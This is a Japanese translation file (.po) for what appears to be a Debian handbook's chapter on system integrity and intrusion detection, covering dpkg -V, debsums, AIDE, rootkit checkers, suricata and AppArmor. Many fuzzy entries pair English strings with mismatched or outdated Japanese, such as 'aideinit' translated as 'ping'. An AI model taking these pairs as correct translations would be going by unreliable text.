msgstr "dpkg -V を実行すると、すべてのインストール済みパッケージが検証され、テストに失敗したファイルが行ごとに表示されます。出力フォーマットは rpm -V が採用しているフォーマットと同じで、行頭の各文字は特定のメタデータに対するテストの結果を意味しています。残念なことに dpkg は多くのテストに必要なメタデータを保存しません。これらのメタデータを必要とするテストの結果は常に疑問符が出力されることになります。今のところ実行できるテストはチェックサムテストだけで、チェックサムテストに失敗した場合、左から 3 番目の文字が「5」になります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 dpkg;
# Tag: L-CFMD;
msgid ""
"\n"
"# dpkg -V\n"
"??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster"
msgstr ""
"\n"
"# dpkg -V\n"
"??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgstr "上の例では、dpkg は Debian パッケージから提供された SSH の service ファイルが直接編集されていることを報告しています。一般に管理者は Debian パッケージから提供された設定ファイル以外のファイルを直接編集するべきではありません。今回の場合ならば、もう一度 /etc/systemd/system/ssh.service を作成し、これを編集するべきです (このファイルは一般に設定変更を配置すべき場所である /etc ディレクトリの下に配置されます)。さらに、dpkg は設定ファイルとみなされた複数のファイルが修正されていることを報告しています (この場合、左から 2 番目のフィールドが「c」という文字になります)。設定ファイルに対する修正は合法的と言えます。"
msgid "/etc/etc/systemd/system/*.d/override.conf"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
msgid "Auditing Packages: debsums and its Limits"
msgstr "パッケージの監査、debsums とその限界"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
msgid "debsums"
msgstr "debsums"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
#, fuzzy
#| msgid "debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds)."
msgid "debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds)."
msgstr "debsums は dpkg -V の祖先です。このため、debsums はほとんど使われていません。debsums と dpkg は同じ制限に悩まされています。幸いなことに、debsums はいくつかの制限を回避することが可能です (一方で dpkg には同様の回避策がありません)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
msgid "Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr "ディスク上のデータは信頼できないため、debsums は dpkg データベースではなく .deb ファイルに基づいてテストを行う機能を提供しています。すべてのインストール済みパッケージに対応する信頼できる .deb ファイルをダウンロードするには、APT の認証付きダウンロード機構を使います。この操作は遅くて退屈ですから、この操作を定期的かつ積極的に使う手法として考えるべきではありません。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Ref: $ man 1 grep-status;
# Ref: $ man 1 apt-get;
# Ref: $ getconf ARG_MAX;
# Tag: L-CFMD;
# Tag: PTAL;
#, fuzzy
#| msgid ""
#| "\n"
#| "# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
#| "[ ... ]\n"
#| "# debsums -p /var/cache/apt/archives --generate=all"
msgid ""
"\n"
"# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
"[ ... ]\n"
"# debsums -p /var/cache/apt/archives --generate=all"
msgstr ""
"\n"
"# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n"
"[ ... ]\n"
"# debsums -p /var/cache/apt/archives --generate=all"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 grep-status;
# Tag: L-CFMD;
msgid "Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default."
msgstr "この例の中で、デフォルトではインストールされない dctrl-tools パッケージに含まれる grep-status コマンドが使われている点に注意してください。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/default/debsums"
msgstr "バッファ受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/debsums-ignore"
msgstr "監視ログファイル"
msgid "debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Monitoring Files: AIDE"
msgstr "ファイル監視、AIDE"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "ping"
msgid "aideinit"
msgstr "ping"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "IDS"
msgid "AIDE"
msgstr "IDS"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "intrusion detection"
msgid "Advanced Intrusion Detection EnvironmentAIDE"
msgstr "侵入検知"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/cron.daily/aide"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log) and sends its findings to the administrator by email."
msgstr "AIDE ツール (Advanced Intrusion Detection Environment、aide パッケージに含まれます) を使うことで、ファイルの完全性を確認したり、事前に保存された正当なシステムのイメージに対する変更を検出したりすることが可能です。このイメージはシステムのすべてのファイルに対して関連する情報 (指紋、パーミッション、タイムスタンプなど) を記録するデータベース (/var/lib/aide/aide.db) に保存されます。このデータベースは最初に aideinit を使って初期化されます。そして毎日、関係のある情報が何も変更されていないことを確認するために、このデータベースは /etc/cron.daily/aide スクリプトから使われます。変更が検出されたら、AIDE は変更内容をログファイル (/var/log/aide/*.log) に記録し、検出された変更内容を管理者にメールで送信します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "IN PRACTICE Protecting the database"
msgstr "IN PRACTICE データベースの保護"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr "AIDE はファイルの状態を比較するためにローカルデータベースを使います。結果の信頼性は直接的にデータベースの信頼性と結び付いています。攻撃者が不正アクセスされたシステムの root 権限を取得した場合、攻撃者はデータベースを置き換えて自分の行動の形跡を隠すことが可能です。可能な次善策は参照データを読み込み専用のストレージメディアに保存することです。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/aide/aide.conf"
msgstr "バッファ受信バッファ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Many options in /etc/default/aide can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf and /etc/aide/aide.conf.d/ (actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf 5 manual page is therefore recommended."
msgstr "/etc/default/aide に含まれる多くのオプションを使って aide パッケージの挙動を微調整します。AIDE 設定は /etc/aide/aide.conf と /etc/aide/aide.conf.d/ に保存されています (実質的に言えば、これらのファイルは update-aide.conf が /var/lib/aide/aide.conf.autogenerated を生成するためだけに使われます)。設定は確認する必要のあるファイルの属性の種類を指定します。たとえば、ログファアイルの内容は定期的に変わりますが、この種の変更はファイルのパーミッションが同じなら無視することが可能です。しかし、実行プログラムの内容とパーミッションの両方は必ず同じでなければいけません。設定の構文は、とても複雑というわけではありませんが、十分に直感的というわけでもありません。aide.conf 5 マニュアルページを読むことを推奨します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A new version of the database is generated daily in /var/lib/aide/aide.db.new; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr "データベースの新しいバージョンは毎日生成され、/var/lib/aide/aide.db.new に保存されます。そして、すべての記録された変更が正当ならば、参照データベースを新しいデータベースに置き換えることが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "ALTERNATIVE Tripwire and Samhain"
msgstr "ALTERNATIVE Tripwire と Samhain"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "tripwire"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "samhain"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://www-uxsup.csx.cam.ac.uk/pub/doc/redhat/redhat8/rhl-rg-en-8.0/s1-tripwire-sign-config.html;
msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr "Tripwire は AIDE とよく似ており、Tripwire の設定ファイルの構文も AIDE の設定ファイルの構文とほとんど同じです。AIDE に対する tripwire の主な追加点は tripwire には設定ファイルを署名するメカニズムが追加されている点です。設定ファイルを署名することで、参照データベースの示す先を異なるバージョンに差し替えることが不可能になります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar ). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr "Samhain も類似の機能を提供しますが、Samhain は rootkit の検出に役立ついくつかの機能を備えています (補注を参照してください)。Samhain はネットワークを使って広範囲に配備され、中央サーバ上に履歴を (署名と一緒に) 記録することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "QUICK LOOK The checksecurity and chkrootkit/rkhunter packages"
msgstr "QUICK LOOK checksecurity と chkrootkit/rkhunter パッケージ"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "checksecurity"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "chkrootkit"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "rkhunter"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr "checksecurity パッケージには、システムの基本的な確認項目 (空のパスワード、新しい setuid ファイルなど) について確認を行い、必要ならば管理者に警告するための、複数の小さなスクリプトが含まれます。checksecurity という明快な名前にも関わらず、管理者が Linux システムが安全であることを保証するためには checksecurity だけでは不十分です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr "chkrootkit と rkhunter パッケージを使うことで、システムに潜在的にインストールされた rootkit を探し出すことが可能です。備忘録的になりますが、rootkit はシステムの不正侵入を隠すために設計されたソフトウェアで、マシンをこっそりと操作できる状態にし続けます。chkrootkit と rkhunter パッケージを使ったテストは 100% 信頼できるものではありませんが、管理者はテストにより潜在的な問題に対して注意を払うようになります。"
msgid "rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications."
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Detecting Intrusion (IDS/NIDS)"
msgstr "侵入検知 (IDS/NIDS)"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "detectingintrusion"
msgstr "ログ監視"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "intrusion detection system"
msgid "IDSIntrusion Detection System"
msgstr "侵入検知システム"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "intrusion detection system"
msgid "Intrusion Detection SystemIDS"
msgstr "侵入検知システム"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "NIDS"
msgstr "NIDS"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "NetworkIDS"
msgid "networkIDSNIDS"
msgstr "ネットワークIDS"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "BACK TO BASICS Denial of service"
msgstr "BACK TO BASICS サービス妨害"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "denial of service"
msgid "Denial of ServiceDoS"
msgstr "サービス妨害"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "denial of service"
msgid "Distributed Denial of ServiceDDoS"
msgstr "サービス妨害"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "logsmonitoring"
msgid "DoSDenial of Service"
msgstr "ログ監視"
msgid "DDoSDistributed Denial of Service"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr "「サービス妨害」攻撃の目的は 1 つしかありません。すなわち、サービスを使用不能にすることです。「サービス妨害」攻撃は問い合わせを使ってサーバに大きな負荷を加えたり、バグを不正に活用したりすることで実行されますが、どんな方法で実行されても最終結果は同じです。すなわち、サービスがもはや使用できなくなります。正規のユーザは迷惑しますし、標的にされたネットワークサービスをホストしている事業者の評価が落ちます (たとえばサービスが電子商取引サイトの場合、収入も落ちます)。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: DDoS and DoS (depending on whether the denial of service attack is distributed or not)."
msgstr "「サービス妨害」攻撃はしばしば「分散」されることがあります。通常の「分散」された攻撃は数多くの異なる送信元から数多くの問い合わせを送信することにより、サーバに負荷を加えます。こうすることで、サーバは正規の問い合わせに応答できなくなります。この種の攻撃には、よく知られている頭字語が与えられています。具体的に言えば、DDoS と DoS です (サービス妨害攻撃が分散型か否かで区別します)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected. "
msgid "suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected. "
msgstr "suricata (同名の Debian パッケージに含まれます) は NIDS すなわちネットワーク型侵入検知システムです。NIDS の機能はネットワークをリッスンして侵入試行および敵対行為 (サービス妨害攻撃も含まれます) を検出しようとします。すべてのイベントは /var/log/suricata 内の複数のファイルに記録されます。収集されたすべてのデータを閲覧するためのサードパーティツール (Kibana/logstash) が存在します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "snort"
msgstr "snort"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "suricata"
msgstr "suricata"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "CAUTION Range of action"
msgstr "CAUTION 動作範囲"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "The effectiveness of suricata is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting suricata should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr "suricata の有効性は監視対象のネットワークインターフェース上を流れるトラフィックによって制限されます。suricata が真のトラフィックを観察することができない場合、当然ながら suricata は何も検出しません。suricata が実行されているマシンをネットワークスイッチに接続した場合、suricata が実行されているマシンを対象にした攻撃だけを検出することが可能です。この挙動は意図するものではないかもしれません。このため suricata が実行されているマシンはネットワークスイッチの「ミラー」ポートに接続されるべきです。通常「ミラー」ポートはスイッチをカスケード接続するために使われるため、すべてのトラフィックを取得することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Configuring suricata involves reviewing and editing /etc/suricata/suricata-debian.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgid "Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgstr "suricata を設定するには /etc/suricata/suricata-debian.yaml をよく読んで編集します。それぞれのパラメータはこのファイルの中で詳細に説明されているため、このファイルはとても長いものです。最低限の設定を行うには、HOME_NET パラメータでローカルネットワークのカバーするアドレス範囲を指定する必要があります。実際のところ HOME_NET パラメータは潜在的に攻撃される可能性を持つすべてのネットワークを意味しています。しかし設定パラメータのほとんどを理解するには、パラメータの説明をすべて読み、パラメータをそれぞれの状況に適応させることが必要です。"
msgid "/etc/etc/suricata/suricata.yaml"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: $ man 8 iptables-extensions;
#, fuzzy
#| msgid "On top of this, you should also edit /etc/default/suricata to define the network interface to monitor and to enable the init script (by setting RUN=yes). You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target)."
msgid "On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target)."
msgstr "加えて、監視対象のネットワークインターフェースを定義して init スクリプトを有効化する (RUN=yes と設定する) ために、/etc/default/suricata を編集するべきです。また、管理者は LISTENMODE=pcap のように設定したいと思うかもしれません。なぜなら、デフォルト設定である LISTENMODE=nfqueue を適切に動かすためには、さらに設定を行う必要があるからです (netfilter ファイアウォールの NFQUEUE 動作を使って suricata が取り扱う一部のユーザ空間キュー宛のパケットを通過するように、ファイアウォールを設定しなければいけません)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "To detect bad behaviour, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it. Unfortunately that package is missing from Debian Jessie and should be retrieved from another Debian release like Testing or Unstable."
msgid "To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it."
msgstr "不正行為を検出するためには、suricata に一連の監視規則を設定する必要があります。いくつかの監視規則は snort-rules-default パッケージに含まれています。snort は IDS エコシステムにおける歴史的な基準ソフトウェアで、suricata は snort 向けに書かれた監視規則を再利用することが可能です。残念なことに snort-rules-default パッケージは Debian Jessie には含まれません。このため、snort-rules-default パッケージを入手するにはテスト版か不安定版などの他の Debian リリースを使ってください。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "ping"
msgid "oinkmaster"
msgstr "ping"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rulesets from external sources."
msgid "Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources."
msgstr "代案として、oinkmaster (同名のパッケージに含まれます) を使って外部ソースから Snort の監視規則をダウンロードすることも可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://www.prelude-siem.org/;
# Tag: PTAL;
msgid "GOING FURTHER Integration with prelude"
msgstr "GOING FURTHER prelude との統合"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "prelude"
msgstr "prelude"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the manager in prelude-manager) which gathers alerts generated by sensors of various types."
msgstr "prelude を使うことでセキュリティ情報の中央集中型監視が可能になります。prelude のモジュール式設計には、サーバ (prelude-manager に含まれるマネージャ) が含まれ、サーバはさまざまな種類のセンサーによって生成された警告を収集します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: https://www.prelude-siem.org/projects/prelude/wiki/PreludeLml;
# Tag: L-CFMD;
# Tag: PTAL;
msgid "Suricata can be configured as such a sensor. Other possibilities include prelude-lml (Log Monitor Lackey) which monitors log files (in a manner similar to logcheck, described in )."
msgstr "Suricata を prelude のセンサーとして設定することが可能です。他の可能性には prelude-lml (Log Monitor Lackey) があります。これは (で説明されている logcheck と同様のやり方で) ログファイルを監視します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Introduction to AppArmor"
msgstr "AppArmor の紹介"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "AppArmor"
msgstr "AppArmor"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Principles"
msgstr "原理"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "MAC"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Mandatory Access Control"
msgid "Mandatory Access ControlMAC"
msgstr "強制アクセス制御"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "SNMP"
msgid "LSM"
msgstr "SNMP"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Linux Security Modules"
msgid "Linux Security ModulesLSM"
msgstr "Linux Security Modules"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "AppArmor is a Mandatory Access Control (MAC) system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources."
msgstr "AppArmor は Linux の LSM (Linux Security Modules) インターフェース上に設けられた強制アクセス制御 (MAC) システムです。具体的に言えば、カーネルはそれぞれのシステムコールの前にシステムコールを発行したプロセスが指定された操作に対する権限を与えられているか AppArmor に問い合わせます。このメカニズムを通じて、AppArmor はプログラムがアクセスできるリソースを制限します。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!)."
msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!)."
msgstr "AppArmor はプログラムごとに一連の規則 (これは「プロファイル」として知られています) を適用します。カーネルは実行されたプログラムのインストール先のパスに依存してこのプロファイルを適用します。SELinux とは対照的に (を参照してください)、このプロファイルはユーザに依存するものではありません。同じプログラムを実行したすべてのユーザは同じプロファイルを適用されます (しかしながら、伝統的なユーザパーミッションが適用されないわけではありません。このため、ユーザごとにプログラムの挙動が異なる可能性もあります!)。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "AppArmor profiles are stored in /etc/apparmor.d/ and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the apparmor_parser command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied."
msgstr "AppArmor プロファイルは /etc/apparmor.d/ に保存され、プロファイルには各プログラムが使うことができるリソースに対するアクセス制御規則のリストが含まれています。プロファイルは apparmor_parser コマンドによってコンパイルされてカーネルに読み込まれます。各プロファイルは enforce または complain モードで読み込みます。enforce モードではポリシーの遵守を強制され、ポリシー違反の試行を報告されます。これに対して、complain モードではポリシーの遵守を強制されませんが、ポリシー違反で拒否されうるシステムコールを記録されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/apparmor.d/"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Enabling AppArmor and managing AppArmor profiles"
msgstr "AppArmor の有効化と AppArmor プロファイルの管理"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 debsums;
# Tag: L-CFMD;
#, fuzzy
#| msgid "debsums"
msgid "aa-status"
msgstr "debsums"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:"
msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges."
msgstr "AppArmor のサポートは Debian が提供する標準カーネルに組み込まれています。このため AppArmor を有効化するには、いくつかのパッケージをインストールして、一部のパラメータをカーネルコマンドラインに追加します。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "After a reboot, AppArmor is now functional and aa-status will confirm it quickly:"
msgid "AppArmor is functional after the installation, and aa-status will confirm it quickly:"
msgstr "AppArmor は再起動後に動作します。以下に示す通り aa-status を使えば AppArmor の有効化を素早く確認できます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid ""
#| "\n"
#| "# aa-status\n"
#| "apparmor module is loaded.\n"
#| "44 profiles are loaded.\n"
#| "9 profiles are in enforce mode.\n"
#| " /usr/bin/lxc-start\n"
#| " /usr/lib/chromium-browser/chromium-browser//browser_java\n"
#| "[...]\n"
#| "35 profiles are in complain mode.\n"
#| " /sbin/klogd\n"
#| "[...]\n"
#| "3 processes have profiles defined.\n"
#| "1 processes are in enforce mode.\n"
#| " /usr/sbin/libvirtd (1295) \n"
#| "2 processes are in complain mode.\n"
#| " /usr/sbin/avahi-daemon (941) \n"
#| " /usr/sbin/avahi-daemon (1000) \n"
#| "0 processes are unconfined but have a profile defined."
msgid ""
"\n"
"# aa-status\n"
"apparmor module is loaded.\n"
"32 profiles are loaded.\n"
"15 profiles are in enforce mode.\n"
" /usr/bin/man\n"
"[...]\n"
"17 profiles are in complain mode.\n"
" /usr/sbin/dnsmasq\n"
"[...]\n"
"1 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
" /usr/sbin/libvirtd (468) libvirtd\n"
"0 processes are in complain mode.\n"
"0 processes are unconfined but have a profile defined."
msgstr ""
"\n"
"# aa-status\n"
"apparmor module is loaded.\n"
"44 profiles are loaded.\n"
"9 profiles are in enforce mode.\n"
" /usr/bin/lxc-start\n"
" /usr/lib/chromium-browser/chromium-browser//browser_java\n"
"[...]\n"
"35 profiles are in complain mode.\n"
" /sbin/klogd\n"
"[...]\n"
"3 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
" /usr/sbin/libvirtd (1295) \n"
"2 processes are in complain mode.\n"
" /usr/sbin/avahi-daemon (941) \n"
" /usr/sbin/avahi-daemon (1000) \n"
"0 processes are unconfined but have a profile defined."
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "NOTE More AppArmor profiles"
msgstr "NOTE さらに多くの AppArmor プロファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "AppArmorprofiles"
